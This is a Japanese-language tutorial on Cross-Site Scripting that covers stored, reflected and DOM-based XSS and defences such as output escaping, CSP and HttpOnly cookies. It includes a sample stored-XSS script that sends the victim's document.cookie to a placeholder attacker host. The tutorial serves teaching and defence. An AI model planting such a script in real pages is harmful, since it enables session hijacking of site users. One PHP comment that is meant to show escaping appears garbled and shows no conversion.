thumbnail

Cross-Site Scripting (XSS)

クロスサイト・スクリプティング(Cross-Site Scripting、略称 XSS)は、Webアプリケーションの脆弱性の一つです。攻撃者が悪意のあるスクリプト(主にJavaScript)をWebページに注入し、それを閲覧した他のユーザーのブラウザ上でスクリプトを実行させる攻撃手法を指します。

XSS攻撃が成功すると、ユーザーのセッション情報(クッキー)の窃取、個人情報の詐取、Webサイトの表示の改ざん、マルウェアの配布など、多岐にわたる被害が発生する可能性があります。

XSSの主な種類

XSSは、スクリプトがどのようにしてユーザーのブラウザに到達するかに応じて、主に3つのタイプに分類されます。

1. 格納型XSS (Stored XSS)

攻撃者が注入した悪意のあるスクリプトが、Webサーバーのデータベースやファイルシステムに「格納」されるタイプです。脆弱性のあるWebページ(例: 掲示板、コメント欄、ユーザープロフィール欄)にアクセスしたすべてのユーザーが、そのスクリプトを実行してしまい、被害が広範囲に及ぶ可能性があります。

  • 攻撃の流れ:
  • 1. 攻撃者が掲示板にスクリプトを含む投稿を行う。
  • 2. サーバーがその投稿(スクリプト)をデータベースに保存する。
  • 3. 他のユーザーがその掲示板を閲覧する。
  • 4. サーバーがデータベースからスクリプトを読み込み、HTMLに含めてユーザーに送信する。
  • 5. ユーザーのブラウザがそのスクリプトを実行し、被害が発生する(例: クッキーが盗まれる)。

2. 反射型XSS (Reflected XSS)

攻撃者が悪意のあるスクリプトをURLのパラメータなどに含めて作成し、そのURLをメールやSNSでユーザーにクリックさせるタイプです。スクリプトはサーバーに保存されず、リクエストに含まれたスクリプトが、サーバーの応答(例: 検索結果ページ)に「反射」される形でそのままユーザーに返され、実行されます。

  • 攻撃の流れ:
  • 1. 攻撃者が、検索クエリなどにスクリプトを仕込んだURLを作成する。 (例: http://example.com/search?q=<script>...</script>)
  • 2. 攻撃者がそのURLをユーザーにクリックさせる。
  • 3. ユーザーのブラウザが、スクリプトを含むURLでサーバーにリクエストを送信する。
  • 4. サーバーが、URL内のスクリプトを検索結果ページ(例: 「`<script>...</script>` の検索結果はありません」)に埋め込んだままHTMLを生成し、応答する。
  • 5. ユーザーのブラウザが応答HTML内のスクリプトを実行し、被害が発生する。

3. DOMベースXSS (DOM-based XSS)

サーバー側の処理とは無関係に、ブラウザ(クライアント側)で動作するJavaScriptが、URLのフラグメント(`#`以降)などを不適切に処理することによって発生するタイプです。サーバーはスクリプトの存在を関知せず、ブラウザ内部(DOM)だけで攻撃が完結します。

攻撃の例と対策

最も一般的で危険な攻撃の一つが、セッションクッキーの窃取です。

攻撃スクリプトの例(クッキー窃取)

攻撃者が以下のようなスクリプトを掲示板に投稿したとします(格納型XSS)。

<script>
  // ユーザーのクッキー情報を取得し、攻撃者のサーバーへ送信する
  document.location = 'http://attacker-site.com/steal.php?cookie=' + document.cookie;
</script>

この投稿を閲覧した他のユーザー(特に管理者)のブラウザがこのスクリプトを実行すると、そのユーザーのセッションクッキーが攻撃者のサーバーに送信されてしまいます。攻撃者はそのクッキーを使い、ユーザーになりすましてログイン(セッションハイジャック)することが可能になります。

対策

XSSを防ぐためには、Webアプリケーション側で以下の対策を講じる必要があります。

1. エスケープ(サニタイズ)処理

ユーザーからの入力をWebページに出力する際に、HTMLタグとして解釈される可能性のある特殊文字(`<`, `>`, `&`, `"`, `'` など)を、無害な文字列(HTMLエンティティ)に変換(エスケープ)します。

// PHPでのエスケープ処理の例
// <script> は <script> に変換される
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

2. Content Security Policy (CSP) の設定

サーバーがHTTPレスポンスヘッダでCSPを設定することにより、ブラウザが読み込んでもよいスクリプトのソース(ドメイン)を制限できます。これにより、意図しないドメイン(攻撃者のサーバーなど)からのスクリプト実行や、インラインスクリプトの実行を禁止できます。

3. CookieにHttpOnly属性を付与する

セッションクッキーに `HttpOnly` 属性を設定すると、JavaScript (`document.cookie`) からそのクッキーにアクセスできなくなります。これにより、上記の例のようなスクリプトが実行されても、セッションクッキーが盗まれるのを防ぐことができます。